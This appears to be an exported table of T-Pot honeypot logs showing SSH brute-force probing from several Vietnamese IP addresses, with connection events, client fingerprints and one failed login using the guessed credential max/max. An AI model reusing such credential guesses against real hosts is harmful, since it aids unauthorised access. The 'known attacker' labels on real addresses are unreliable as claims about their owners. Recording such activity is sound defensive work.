23355	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:35.713066+03	2021-09-20 14:15:07.4005+03	{"_id": "1wbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3545713b3f89", "@version": "1", "duration": 2.387981653213501, "timestamp": "2021-09-20T11:07:35.713066Z", "@timestamp": "2021-09-20T11:07:35.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23356	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:35.842642+03	2021-09-20 14:15:07.4015+03	{"_id": "2AbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [max/max] failed", "session": "610ddc6da2e5", "@version": "1", "password": "max", "username": "max", "timestamp": "2021-09-20T11:07:35.842642Z", "@timestamp": "2021-09-20T11:07:35.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23358	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:35.933849+03	2021-09-20 14:15:07.4035+03	{"_id": "2gbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b5fcfd69d841", "@version": "1", "timestamp": "2021-09-20T11:07:35.933849Z", "@timestamp": "2021-09-20T11:07:35.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23359	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.118479+03	2021-09-20 14:15:07.405501+03	{"_id": "2wbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "01e011b1645c", "@version": "1", "duration": 2.4579014778137207, "timestamp": "2021-09-20T11:07:36.118479Z", "@timestamp": "2021-09-20T11:07:36.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23360	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.122926+03	2021-09-20 14:15:07.406472+03	{"_id": "3AbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "eec7c94161cf", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.122926Z", "@timestamp": "2021-09-20T11:07:36.122Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23361	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:36.36127+03	2021-09-20 14:15:07.4075+03	{"_id": "6QbjAnwBvYTbRNuE0Azj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2104265194982750, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35594, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.361270Z", "@timestamp": "2021-09-20T11:07:36.361Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23362	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:36.396445+03	2021-09-20 14:15:07.4085+03	{"_id": "6gbjAnwBvYTbRNuE0Azm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 316369094044651, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44762, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.396445Z", "@timestamp": "2021-09-20T11:07:36.396Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23363	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:36.465797+03	2021-09-20 14:15:07.4105+03	{"_id": "6wbjAnwBvYTbRNuE0Azm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1322259024685480, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56522, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.465797Z", "@timestamp": "2021-09-20T11:07:36.465Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23364	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:36.545844+03	2021-09-20 14:15:07.4115+03	{"_id": "7AbjAnwBvYTbRNuE0Azm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 275122375610801, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7384, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.545844Z", "@timestamp": "2021-09-20T11:07:36.545Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23365	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:36.607293+03	2021-09-20 14:15:07.412518+03	{"_id": "7QbjAnwBvYTbRNuE0Azm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1041703171049362, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47164, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.607293Z", "@timestamp": "2021-09-20T11:07:36.607Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23366	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:36.622522+03	2021-09-20 14:15:07.4135+03	{"_id": "7gbjAnwBvYTbRNuE0Azm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 388318386195648, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 59246, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.622522Z", "@timestamp": "2021-09-20T11:07:36.622Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23367	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:36.694897+03	2021-09-20 14:15:07.4145+03	{"_id": "7wbjAnwBvYTbRNuE0Azm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 797182092908689, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43628, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.694897Z", "@timestamp": "2021-09-20T11:07:36.694Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23659	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:42.6213+03	2021-09-20 14:15:07.78947+03	{"_id": "dAbjAnwBvYTbRNuE6Q7c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b9052ed4dd93", "@version": "1", "duration": 2.648094415664673, "timestamp": "2021-09-20T11:07:42.621300Z", "@timestamp": "2021-09-20T11:07:42.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23368	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:36.761576+03	2021-09-20 14:15:07.416497+03	{"_id": "8AbjAnwBvYTbRNuE0Azm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1985206554215577, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48878, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.761576Z", "@timestamp": "2021-09-20T11:07:36.761Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23369	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:36.816327+03	2021-09-20 14:15:07.417501+03	{"_id": "8QbjAnwBvYTbRNuE0Azm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1593146907083727, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60716, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.816327Z", "@timestamp": "2021-09-20T11:07:36.816Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23370	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:36.853685+03	2021-09-20 14:15:07.419502+03	{"_id": "8gbjAnwBvYTbRNuE0Azm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1004545261078609, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43484, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.853685Z", "@timestamp": "2021-09-20T11:07:36.853Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23371	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:36.595544+03	2021-09-20 14:15:07.420512+03	{"_id": "8wbjAnwBvYTbRNuE0gxj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:60716 (192.168.176.2:22) [session: 70d5de51c536]", "session": "70d5de51c536", "@version": "1", "protocol": "ssh", "src_port": 60716, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.595544Z", "@timestamp": "2021-09-20T11:07:36.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23372	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:36.267798+03	2021-09-20 14:15:07.4215+03	{"_id": "LgbjAnwBvYTbRNuE0g2B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7384, "timestamp": "2021-09-20T11:07:36.267798", "@timestamp": "2021-09-20T11:07:36.267Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23373	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.361401+03	2021-09-20 14:15:07.4225+03	{"_id": "_wbjAnwBvYTbRNuE0gxj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "12a17984d875", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:36.361401Z", "@timestamp": "2021-09-20T11:07:36.361Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
